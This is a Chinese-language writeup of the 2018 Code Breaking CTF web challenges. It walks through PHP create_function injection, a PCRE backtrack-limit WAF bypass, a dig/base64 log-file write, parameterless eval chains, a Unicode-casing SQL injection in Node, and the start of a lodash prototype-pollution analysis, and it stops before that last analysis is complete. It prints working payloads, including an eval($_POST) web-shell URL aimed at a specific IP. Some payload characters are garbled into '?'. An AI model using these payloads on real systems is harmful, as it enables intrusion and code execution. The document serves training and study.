Code Breaking 挑战赛 Writeup
时间:2018年12月7日
easy - function
1 2 3 4 5 6 7 8 9 |
<span class="cp"><?php</span> <span class="nv">$action</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'action'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span> <span class="nv">$arg</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'arg'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span> <span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^[a-z0-9_]*$/isD'</span><span class="p">,</span> <span class="nv">$action</span><span class="p">))</span> <span class="p">{</span> <span class="nb">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nv">$action</span><span class="p">(</span><span class="s1">''</span><span class="p">,</span> <span class="nv">$arg</span><span class="p">);</span> <span class="p">}</span> |
思路还算是比较清晰,正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。
简单实验了一下没找到,那就直接fuzz起来吧
很容易就fuzz到了就是\
这个符号
后来稍微翻了翻别人的writeup,才知道原因,在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function
来完成,create_function
的第一个参数是参数,第二个参数是内容。
函数结构形似
1 2 3 4 5 6 7 |
<span class="nx">create_function</span><span class="p">(</span><span class="s1">'$a,$b'</span><span class="p">,</span><span class="s1">'return 111'</span><span class="p">)</span> <span class="o">==></span> <span class="kd">function</span> <span class="nx">a</span><span class="p">(</span><span class="nx">$a</span><span class="p">,</span> <span class="nx">$b</span><span class="p">){</span> <span class="k">return</span> <span class="mi">111</span><span class="p">;</span> <span class="p">}</span> |
然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。
1 2 3 4 5 6 7 |
<span class="nx">create_function</span><span class="p">(</span><span class="s1">'$a,$b'</span><span class="p">,</span><span class="s1">'return 111;}phpinfo();//'</span><span class="p">)</span> <span class="o">==></span> <span class="kd">function</span> <span class="nx">a</span><span class="p">(</span><span class="nx">$a</span><span class="p">,</span> <span class="nx">$b</span><span class="p">){</span> <span class="k">return</span> <span class="mi">111</span><span class="p">;}</span><span class="nx">phpinfo</span><span class="p">();</span><span class="c1">//</span> <span class="p">}</span> |
这样一来,我们想要执行的代码就会执行
exp
1 |
<span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">158</span><span class="p">.</span><span class="nc">75</span><span class="p">.</span><span class="nc">42</span><span class="p">:</span><span class="nd">8087</span><span class="o">/?</span><span class="nt">action</span><span class="o">=%</span><span class="nt">5Ccreate_function</span><span class="o">&</span><span class="nt">arg</span><span class="o">=</span><span class="nt">return</span><span class="o">%</span><span class="nt">202333</span><span class="o">;%</span><span class="nt">7Deval</span><span class="o">($</span><span class="nt">_POST</span><span class="o">%</span><span class="nt">5B</span><span class="o">%</span><span class="nt">27ddog</span><span class="o">%</span><span class="nt">27</span><span class="o">%</span><span class="nt">5D</span><span class="o">);%</span><span class="nt">2f</span><span class="o">%</span><span class="nt">2f</span> |
easy pcrewaf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
<span class="o"><?</span><span class="nx">php</span> <span class="kd">function</span> <span class="nx">is_php</span><span class="p">(</span><span class="nx">$data</span><span class="p">){</span> <span class="k">return</span> <span class="nx">preg_match</span><span class="p">(</span><span class="s1">'/<\?.*[(`;?>].*/is'</span><span class="p">,</span> <span class="nx">$data</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span><span class="p">(</span><span class="nx">empty</span><span class="p">(</span><span class="nx">$_FILES</span><span class="p">))</span> <span class="p">{</span> <span class="nx">die</span><span class="p">(</span><span class="nx">show_source</span><span class="p">(</span><span class="nx">__FILE__</span><span class="p">));</span> <span class="p">}</span> <span class="nx">$user_dir</span> <span class="o">=</span> <span class="s1">'./data/'</span><span class="p">;</span> <span class="nx">$data</span> <span class="o">=</span> <span class="nx">file_get_contents</span><span class="p">(</span><span class="nx">$_FILES</span><span class="p">[</span><span class="s1">'file'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]);</span> <span class="k">if</span> <span class="p">(</span><span class="nx">is_php</span><span class="p">(</span><span class="nx">$data</span><span class="p">))</span> <span class="p">{</span> <span class="nx">echo</span> <span class="s2">"bad request"</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="kd">@mkdir</span><span class="p">(</span><span class="nx">$user_dir</span><span class="p">,</span> <span class="mi">0755</span><span class="p">);</span> <span class="nx">$path</span> <span class="o">=</span> <span class="nx">$user_dir</span> <span class="p">.</span> <span class="s1">'/'</span> <span class="p">.</span> <span class="nx">random_int</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">)</span> <span class="p">.</span> <span class="s1">'.php'</span><span class="p">;</span> <span class="nx">move_uploaded_file</span><span class="p">(</span><span class="nx">$_FILES</span><span class="p">[</span><span class="s1">'file'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">],</span> <span class="nx">$path</span><span class="p">);</span> <span class="nx">header</span><span class="p">(</span><span class="s2">"Location: $path"</span><span class="p">,</span> <span class="kc">true</span><span class="p">,</span> <span class="mi">303</span><span class="p">);</span> <span class="p">}</span> |
这题自己研究的时候没想到怎么做,不过思路很清楚,文件名不可控,唯一能控制的就是文件内容。
所以问题的症结就在于如何绕过这个正则表达式。
1 |
/<\?.*[(`;?>].*/is |
简单来说就是<
后面不能有问号,<?
后面不能有(;?>反引号
,但很显然,这是不可能的,最少执行函数也需要括号才行。从常规的思路肯定不行
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
之后看ph师傅的文章我们看到了问题所在,pcre.backtrack_limit
这个配置决定了在php中,正则引擎回溯的层数。而这个值默认是1000000.
而什么是正则引擎回溯呢?
在正则中.*
表示匹配任意字符任意位,也就是说他会匹配所有的字符,而正则引擎在解析正则的时候必然是逐位匹配的,对于
1 |
<span class="cp"><?php</span> <span class="nb">phpinfo</span><span class="p">();</span><span class="c1">//faaaaaaaaaaaaaaaaaaaaaaaaaa</span> |
这段代码来说
1 2 3 4 5 6 |
首先<匹配< 然后?匹配? 然后.*会直接匹配到结尾php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa 紧接着匹配[(`;?>],问题出现了,上一步匹配到了结尾,后面没有满足要求的符号了。 从这里开始正则引擎就开始逐渐回溯,知道符合要求的;出现为止 |
但很显然,服务端不可能不做任何限制,不然如果post一个无限长的数据,那么服务端就会浪费太多的资源在这里,所以就有了pcre.backtrack_limit
,如果回溯次数超过100万次,那么匹配就会结束,然后跳过这句语句。
回到题目来看,如果能够跳过这句语句,我们就能上传任意文件内容了!
所以最终post就是传一个内容为
1 |
<span class="cp"><?php</span> <span class="nb">phpinfo</span><span class="p">();</span><span class="c1">//a*1000000</span> |
对于任何一种引擎来说都涉及到这个问题,尤其对于文件内容来说,没办法控制文件的长度,也就不可避免的会出现这样的问题。
对于PHP来说,有这样一个解决办法,在php的正则文档中提到这样一个问题
preg_match
返回的是匹配到的次数,如果匹配不到会返回0,如果报错就会返回false
所以,对preg_match
来说,只要对返回结果有判断,就可以避免这样的问题。
easy - phpmagic
题目代码简化之后如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<span class="cp"><?php</span> <span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'read-source'</span><span class="p">]))</span> <span class="p">{</span> <span class="k">exit</span><span class="p">(</span><span class="nb">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">));</span> <span class="p">}</span> <span class="nb">define</span><span class="p">(</span><span class="s1">'DATA_DIR'</span><span class="p">,</span> <span class="nb">dirname</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">)</span> <span class="o">.</span> <span class="s1">'/data/'</span> <span class="o">.</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REMOTE_ADDR'</span><span class="p">]));</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">is_dir</span><span class="p">(</span><span class="nx">DATA_DIR</span><span class="p">))</span> <span class="p">{</span> <span class="nb">mkdir</span><span class="p">(</span><span class="nx">DATA_DIR</span><span class="p">,</span> <span class="mo">0755</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span> <span class="p">}</span> <span class="nb">chdir</span><span class="p">(</span><span class="nx">DATA_DIR</span><span class="p">);</span> <span class="nv">$domain</span> <span class="o">=</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'domain'</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'domain'</span><span class="p">]</span> <span class="o">:</span> <span class="s1">''</span><span class="p">;</span> <span class="nv">$log_name</span> <span class="o">=</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'log'</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'log'</span><span class="p">]</span> <span class="o">:</span> <span class="nb">date</span><span class="p">(</span><span class="s1">'-Y-m-d'</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">)</span> <span class="o">&&</span> <span class="nv">$domain</span><span class="p">)</span><span class="o">:</span> <span class="nv">$command</span> <span class="o">=</span> <span class="nb">sprintf</span><span class="p">(</span><span class="s2">"dig -t A -q %s"</span><span class="p">,</span> <span class="nb">escapeshellarg</span><span class="p">(</span><span class="nv">$domain</span><span class="p">));</span> <span class="nv">$output</span> <span class="o">=</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="nv">$command</span><span class="p">);</span> <span class="nv">$output</span> <span class="o">=</span> <span class="nb">htmlspecialchars</span><span class="p">(</span><span class="nv">$output</span><span class="p">,</span> <span class="nx">ENT_HTML401</span> <span class="o">|</span> <span class="nx">ENT_QUOTES</span><span class="p">);</span> <span class="nv">$log_name</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'SERVER_NAME'</span><span class="p">]</span> <span class="o">.</span> <span class="nv">$log_name</span><span class="p">;</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">in_array</span><span class="p">(</span><span class="nb">pathinfo</span><span class="p">(</span><span class="nv">$log_name</span><span class="p">,</span> <span class="nx">PATHINFO_EXTENSION</span><span class="p">),</span> <span class="p">[</span><span class="s1">'php'</span><span class="p">,</span> <span class="s1">'php3'</span><span class="p">,</span> <span class="s1">'php4'</span><span class="p">,</span> <span class="s1">'php5'</span><span class="p">,</span> <span class="s1">'phtml'</span><span class="p">,</span> <span class="s1">'pht'</span><span class="p">],</span> <span class="k">true</span><span class="p">))</span> <span class="p">{</span> <span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$log_name</span><span class="p">,</span> <span class="nv">$output</span><span class="p">);</span> <span class="p">}</span> <span class="k">echo</span> <span class="nv">$output</span><span class="p">;</span> <span class="k">endif</span><span class="p">;</span> <span class="cp">?></span> |
稍微阅读一下代码不难发现问题有几个核心点
1、没办法完全控制dig的返回,由于没办法命令注入,所以这里只能执行dig命令,唯一能控制的就是dig的目标,而且返回在显示之前还转义了尖括号,所以
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<span class="o">;</span> <span class="o"><<>></span> <span class="nt">DiG</span> <span class="nt">9</span><span class="p">.</span><span class="nc">9</span><span class="p">.</span><span class="nc">5-9</span><span class="o">+</span><span class="nt">deb8u15-Debian</span> <span class="o"><<>></span> <span class="nt">-t</span> <span class="nt">A</span> <span class="nt">-q</span> <span class="nt">1232321321</span> <span class="o">;;</span> <span class="nt">global</span> <span class="nt">options</span><span class="o">:</span> <span class="o">+</span><span class="nt">cmd</span> <span class="o">;;</span> <span class="nt">Got</span> <span class="nt">answer</span><span class="o">:</span> <span class="o">;;</span> <span class="nt">-</span><span class="o">>></span><span class="nt">HEADER</span><span class="o"><<</span><span class="nt">-</span> <span class="nt">opcode</span><span class="o">:</span> <span class="nt">QUERY</span><span class="o">,</span> <span class="nt">status</span><span class="o">:</span> <span class="nt">NXDOMAIN</span><span class="o">,</span> <span class="nt">id</span><span class="o">:</span> <span class="nt">43507</span> <span class="o">;;</span> <span class="nt">flags</span><span class="o">:</span> <span class="nt">qr</span> <span class="nt">rd</span> <span class="nt">ra</span><span class="o">;</span> <span class="nt">QUERY</span><span class="o">:</span> <span class="nt">1</span><span class="o">,</span> <span class="nt">ANSWER</span><span class="o">:</span> <span class="nt">0</span><span class="o">,</span> <span class="nt">AUTHORITY</span><span class="o">:</span> <span class="nt">1</span><span class="o">,</span> <span class="nt">ADDITIONAL</span><span class="o">:</span> <span class="nt">0</span> <span class="o">;;</span> <span class="nt">QUESTION</span> <span class="nt">SECTION</span><span class="o">:</span> <span class="o">;</span><span class="nt">1232321321</span><span class="o">.</span> <span class="nt">IN</span> <span class="nt">A</span> <span class="o">;;</span> <span class="nt">AUTHORITY</span> <span class="nt">SECTION</span><span class="o">:</span> <span class="o">.</span> <span class="nt">10800</span> <span class="nt">IN</span> <span class="nt">SOA</span> <span class="nt">a</span><span class="p">.</span><span class="nc">root-servers</span><span class="p">.</span><span class="nc">net</span><span class="o">.</span> <span class="nt">nstld</span><span class="p">.</span><span class="nc">verisign-grs</span><span class="p">.</span><span class="nc">com</span><span class="o">.</span> <span class="nt">2018112800</span> <span class="nt">1800</span> <span class="nt">900</span> <span class="nt">604800</span> <span class="nt">86400</span> <span class="o">;;</span> <span class="nt">Query</span> <span class="nt">time</span><span class="o">:</span> <span class="nt">449</span> <span class="nt">msec</span> <span class="o">;;</span> <span class="nt">SERVER</span><span class="o">:</span> <span class="nt">127</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">11</span><span class="p">#</span><span class="nn">53</span><span class="o">(</span><span class="nt">127</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">11</span><span class="o">)</span> <span class="o">;;</span> <span class="nt">WHEN</span><span class="o">:</span> <span class="nt">Wed</span> <span class="nt">Nov</span> <span class="nt">28</span> <span class="nt">08</span><span class="p">:</span><span class="nd">26</span><span class="p">:</span><span class="nd">15</span> <span class="nt">UTC</span> <span class="nt">2018</span> <span class="o">;;</span> <span class="nt">MSG</span> <span class="nt">SIZE</span> <span class="nt">rcvd</span><span class="o">:</span> <span class="nt">103</span> |
2、in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)
这句过滤真的很严格,实在的讲没有什么直白的绕过办法。
3、log前面会加上$_SERVER['SERVER_NAME']
第一点真的是想不到,是看了别人的wp才想明白这个关键点 http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/
之前做题的时候曾经遇到过类似的问题,可以通过解base64来隐藏自己要写入的内容绕过过滤,然后php在解析的时候会忽略各种乱码,只会从<?php
开始,所以其他的乱码都不会影响到内容,唯一要注意的就是base64是4位一解的,主要不要把第一位打乱掉。
简单测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
<span class="o">$</span><span class="nt">output</span> <span class="o">=</span> <span class="o"><<<</span><span class="nt">EOT</span> <span class="o">;</span> <span class="o"><<>></span> <span class="nt">DiG</span> <span class="nt">9</span><span class="p">.</span><span class="nc">9</span><span class="p">.</span><span class="nc">5-9</span><span class="o">+</span><span class="nt">deb8u15-Debian</span> <span class="o"><<>></span> <span class="nt">-t</span> <span class="nt">A</span> <span class="nt">-q</span> <span class="s2">"$domain"</span> <span class="o">;;</span> <span class="nt">global</span> <span class="nt">options</span><span class="o">:</span> <span class="o">+</span><span class="nt">cmd</span> <span class="o">;;</span> <span class="nt">Got</span> <span class="nt">answer</span><span class="o">:</span> <span class="o">;;</span> <span class="nt">-</span><span class="o">>></span><span class="nt">HEADER</span><span class="o"><<</span><span class="nt">-</span> <span class="nt">opcode</span><span class="o">:</span> <span class="nt">QUERY</span><span class="o">,</span> <span class="nt">status</span><span class="o">:</span> <span class="nt">NXDOMAIN</span><span class="o">,</span> <span class="nt">id</span><span class="o">:</span> <span class="nt">43507</span> <span class="o">;;</span> <span class="nt">flags</span><span class="o">:</span> <span class="nt">qr</span> <span class="nt">rd</span> <span class="nt">ra</span><span class="o">;</span> <span class="nt">QUERY</span><span class="o">:</span> <span class="nt">1</span><span class="o">,</span> <span class="nt">ANSWER</span><span class="o">:</span> <span class="nt">0</span><span class="o">,</span> <span class="nt">AUTHORITY</span><span class="o">:</span> <span class="nt">1</span><span class="o">,</span> <span class="nt">ADDITIONAL</span><span class="o">:</span> <span class="nt">0</span> <span class="o">;;</span> <span class="nt">QUESTION</span> <span class="nt">SECTION</span><span class="o">:</span> <span class="o">;</span><span class="nt">1232321321</span><span class="o">.</span> <span class="nt">IN</span> <span class="nt">A</span> <span class="o">;;</span> <span class="nt">AUTHORITY</span> <span class="nt">SECTION</span><span class="o">:</span> <span class="o">.</span> <span class="nt">10800</span> <span class="nt">IN</span> <span class="nt">SOA</span> <span class="nt">a</span><span class="p">.</span><span class="nc">root-servers</span><span class="p">.</span><span class="nc">net</span><span class="o">.</span> <span class="nt">nstld</span><span class="p">.</span><span class="nc">verisign-grs</span><span class="p">.</span><span class="nc">com</span><span class="o">.</span> <span class="nt">2018112800</span> <span class="nt">1800</span> <span class="nt">900</span> <span class="nt">604800</span> <span class="nt">86400</span> <span class="o">;;</span> <span class="nt">Query</span> <span class="nt">time</span><span class="o">:</span> <span class="nt">449</span> <span class="nt">msec</span> <span class="o">;;</span> <span class="nt">SERVER</span><span class="o">:</span> <span class="nt">127</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">11</span><span class="p">#</span><span class="nn">53</span><span class="o">(</span><span class="nt">127</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">11</span><span class="o">)</span> <span class="o">;;</span> <span class="nt">WHEN</span><span class="o">:</span> <span class="nt">Wed</span> <span class="nt">Nov</span> <span class="nt">28</span> <span class="nt">08</span><span class="p">:</span><span class="nd">26</span><span class="p">:</span><span class="nd">15</span> <span class="nt">UTC</span> <span class="nt">2018</span> <span class="o">;;</span> <span class="nt">MSG</span> <span class="nt">SIZE</span> <span class="nt">rcvd</span><span class="o">:</span> <span class="nt">103</span> <span class="nt">EOT</span><span class="o">;</span> <span class="o">$</span><span class="nt">output</span> <span class="o">=</span> <span class="nt">htmlspecialchars</span><span class="o">($</span><span class="nt">output</span><span class="o">,</span> <span class="nt">ENT_HTML401</span> <span class="o">|</span> <span class="nt">ENT_QUOTES</span><span class="o">);</span> <span class="nt">var_dump</span><span class="o">($</span><span class="nt">output</span><span class="o">);</span> <span class="nt">var_dump</span><span class="o">(</span><span class="nt">base64_decode</span><span class="o">($</span><span class="nt">output</span><span class="o">));</span> |
这样一来我们就能控制文件内容了,而且可以注入<?php
了
接下来就是第二步,怎么才能控制logname为调用php伪协议呢?
问题就在于我们如何控制$_SERVER['SERVER_NAME']
,而这个值怎么定是不一定的,这里在这个题目中是取自了头中的host。
这样一来头我们可以控制了,我们就能调用php伪协议了,那么怎么绕过后缀限制呢?
这里用了之前曾经遇到过的一个技巧(老了记性不好,翻了半天也没找到是啥比赛遇到的),test.php/.就会直接调用到test.php
通过这个办法可以绕过根据.来分割后缀的各种限制条件,同样也适用于当前环境下。
最终poc:
easy - phplimit
1 2 3 4 5 6 |
<span class="cp"><?php</span> <span class="k">if</span><span class="p">(</span><span class="s1">';'</span> <span class="o">===</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="s1">'/[^\W]+\((?R)?\)/'</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'code'</span><span class="p">]))</span> <span class="p">{</span> <span class="k">eval</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'code'</span><span class="p">]);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nb">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span> <span class="p">}</span> |
这个代码就简单多了,简单来说就是只能执行一个函数,但不能设置参数,这题最早出现是在RCTF2018中
https://lorexxar.cn/2018/05/23/rctf2018/
在原来的题目中是用next(getallheaders())
绕过这个限制的。
但这里getallheaders是apache中的函数,这里是nginx环境,所以目标就是找一个函数其返回的内容是可以控制的就可以了。
问题就在于这种函数还不太好找,首先nginx中并没有能获取all header的函数。
所以目标基本就锁定在会不会有获取cookie,或者所有变量这种函数。在看别人writeup的时候知道了get_defined_vars
这个函数
http://php.net/manual/zh/function.get-defined-vars.php
他会打印所有已定义的变量(包括全局变量GET等)。简单翻了翻PHP的文档也没找到其他会涉及到可控变量的
在原wp中有一个很厉害的操作,直接reset所有的变量。
http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/
然后只有当前get赋值,那么就只剩下get请求的变量了
后面就简单了拼接就好了
然后...直接列目录好像也是个不错的办法2333
1 |
code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); |
easy - nodechr
nodejs的一个小问题,关键代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
<span class="kd">function</span> <span class="nx">safeKeyword</span><span class="p">(</span><span class="nx">keyword</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span><span class="p">(</span><span class="nx">isString</span><span class="p">(</span><span class="nx">keyword</span><span class="p">)</span> <span class="o">&&</span> <span class="o">!</span><span class="nx">keyword</span><span class="p">.</span><span class="nx">match</span><span class="p">(</span><span class="err">/(union|select|;|\-\-)/is)) {</span> <span class="k">return</span> <span class="nx">keyword</span> <span class="p">}</span> <span class="k">return</span> <span class="kc">undefined</span> <span class="p">}</span> <span class="nx">async</span> <span class="kd">function</span> <span class="nx">login</span><span class="p">(</span><span class="nx">ctx</span><span class="p">,</span> <span class="nx">next</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span><span class="p">(</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">method</span> <span class="o">==</span> <span class="s1">'POST'</span><span class="p">)</span> <span class="p">{</span> <span class="kd">let</span> <span class="nx">username</span> <span class="o">=</span> <span class="nx">safeKeyword</span><span class="p">(</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">[</span><span class="s1">'username'</span><span class="p">])</span> <span class="kd">let</span> <span class="nx">password</span> <span class="o">=</span> <span class="nx">safeKeyword</span><span class="p">(</span><span class="nx">ctx</span><span class="p">.</span><span class="nx">request</span><span class="p">.</span><span class="nx">body</span><span class="p">[</span><span class="s1">'password'</span><span class="p">])</span> <span class="kd">let</span> <span class="nx">jump</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">router</span><span class="p">.</span><span class="nx">url</span><span class="p">(</span><span class="s1">'login'</span><span class="p">)</span> <span class="k">if</span> <span class="p">(</span><span class="nx">username</span> <span class="o">&&</span> <span class="nx">password</span><span class="p">)</span> <span class="p">{</span> <span class="kd">let</span> <span class="nx">user</span> <span class="o">=</span> <span class="nx">await</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">db</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="sb">`SELECT * FROM "users" WHERE "username" = '</span><span class="si">${</span><span class="nx">username</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">()</span><span class="si">}</span><span class="sb">' AND "password" = '</span><span class="si">${</span><span class="nx">password</span><span class="p">.</span><span class="nx">toUpperCase</span><span class="p">()</span><span class="si">}</span><span class="sb">'`</span><span class="p">)</span> <span class="k">if</span> <span class="p">(</span><span class="nx">user</span><span class="p">)</span> <span class="p">{</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">session</span><span class="p">.</span><span class="nx">user</span> <span class="o">=</span> <span class="nx">user</span> <span class="nx">jump</span> <span class="o">=</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">router</span><span class="p">.</span><span class="nx">url</span><span class="p">(</span><span class="s1">'admin'</span><span class="p">)</span> <span class="p">}</span> <span class="p">}</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">status</span> <span class="o">=</span> <span class="mi">303</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">redirect</span><span class="p">(</span><span class="nx">jump</span><span class="p">)</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="nx">await</span> <span class="nx">ctx</span><span class="p">.</span><span class="nx">render</span><span class="p">(</span><span class="s1">'index'</span><span class="p">)</span> <span class="p">}</span> <span class="p">}</span> |
这里的注入应该是比较清楚的,直接拼接进查询语句没什么可说的。
然后safekeyword过滤了select union -- ;
这四个,下面的逻辑其实说简单的就一句
1 |
c = `SELECT * FROM "users" WHERE "username" = '<span class="cp">${</span><span class="n">a</span><span class="o">.</span><span class="n">toUpperCase</span><span class="p">()</span><span class="cp">}</span>' AND "password" = '<span class="cp">${</span><span class="n">b</span><span class="o">.</span><span class="n">toUpperCase</span><span class="p">()</span><span class="cp">}</span>'` |
如何构造这句来查询flag,开始看到题一味着去想盲注的办法了,后来想明白一点,在注入里,没有select是不可能去别的表里拿数据的,而题目一开始很明确的表明flag在flag表中。
所以问题就又回到了最初的地方,如何绕过safekeyword的限制。
ph师傅曾经写过一篇文章 https://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html
在js中部分字符会在toLowerCase和toUpperCase处理的时候发生难以想象的变化
1 2 |
"?"、"?"这两个字符在变大写的时候会变成I和S "?"这个字符在变小写的时候会变成k |
用在这里刚好合适不过了。
1 2 |
username=ddog password=' un?on ?elect 1,flag,3 where '1'='1 |
hard - thejs
javascript真难....
关键代码以及注释如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
const fs = require('fs') const express = require('express') const bodyParser = require('body-parser') const lodash = require('lodash') const session = require('express-session') const randomize = require('randomatic') const app = express() app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) //对post请求的请求体进行解析 app.use('/static', express.static('static')) app.use(session({ name: 'thejs.session', secret: randomize('aA0', 16), // 随机数 resave: false, saveUninitialized: false })) app.engine('ejs', function (filePath, options, callback) { // 模板引擎 fs.readFile(filePath, (err, content) => { //读文件 filepath if (err) return callback(new Error(err)) let compiled = lodash.template(content) //模板化 let rendered = compiled({...options}) //动态引入变量 return callback(null, rendered) }) }) app.set('views', './views') app.set('view engine', 'ejs') app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) // merge 合并字典 req.session.data = data } res.render('index', { language: data.language, category: data.category }) }) app.listen(3000, () => console.log(`Example app listening on port 3000!`)) |
由于对node不熟,初看代码的时候简单研究了一下各个部分都是干嘛的。然后就发现整个站几乎没什么功能,就是获取输入然后取其中固定的输出,起码就自己写的代码来说不可能有问题。
再三思考下觉得可能问题在引入的包中...比较明显的就是lodash.merge
这句,这句代码在这里非常刻意,于是就顺着这个思路去想,简单翻了一下代码发现没什么收获。后来@spine给了我一个链接
js特性
首先我们可以先回顾一下js的一部分特性。
由于js非常面向对象的编程特性,js有很多神奇的操作。
在js中你可以用各种方式操作自己的对象。
在js中,所有的对象都是从各种基础对象继承下来的,所以每个对象都有他的父类,通过prototype可以直接操作修改父类的对象。
而且子类会继承父类的所有方法。
在js中,每个对象都有两个魔术方法,一个是constructor
另一个是__proto__
。
对于实例来说,constructor代表其构造函数,像前面说的一样,函数可以通过prototype获取其父对象
1 2 3 4 5 6 7 8 9 |
<span class="kd">function</span> <span class="nx">myclass</span> <span class="p">()</span> <span class="p">{}</span> <span class="nx">myclass</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">myfunc</span> <span class="o">=</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span><span class="k">return</span> <span class="mi">233</span><span class="p">;}</span> <span class="kd">var</span> <span class="nx">inst</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">myclass</span><span class="p">();</span> <span class="nx">inst</span><span class="p">.</span><span class="kr">constructor</span> <span class="c1">// return function myclass</span> <span class="nx">inst</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span> <span class="c1">// return the prototype of myclass</span> <span class="nx">inst</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">myfunc</span><span class="p">()</span> <span class="c1">// return 233</span> |
而另一个魔术方法__proto__
就等价于.constructor.prototype
由于子类会继承父类的所有方法,所以如果在当前对象中找不到该方法,就会到父类中去找,直到找不到才会爆错
在复习了上面的特性之后,我们回到这个漏洞
回到漏洞
在漏洞分析文中提到了这样一种方式
1 |
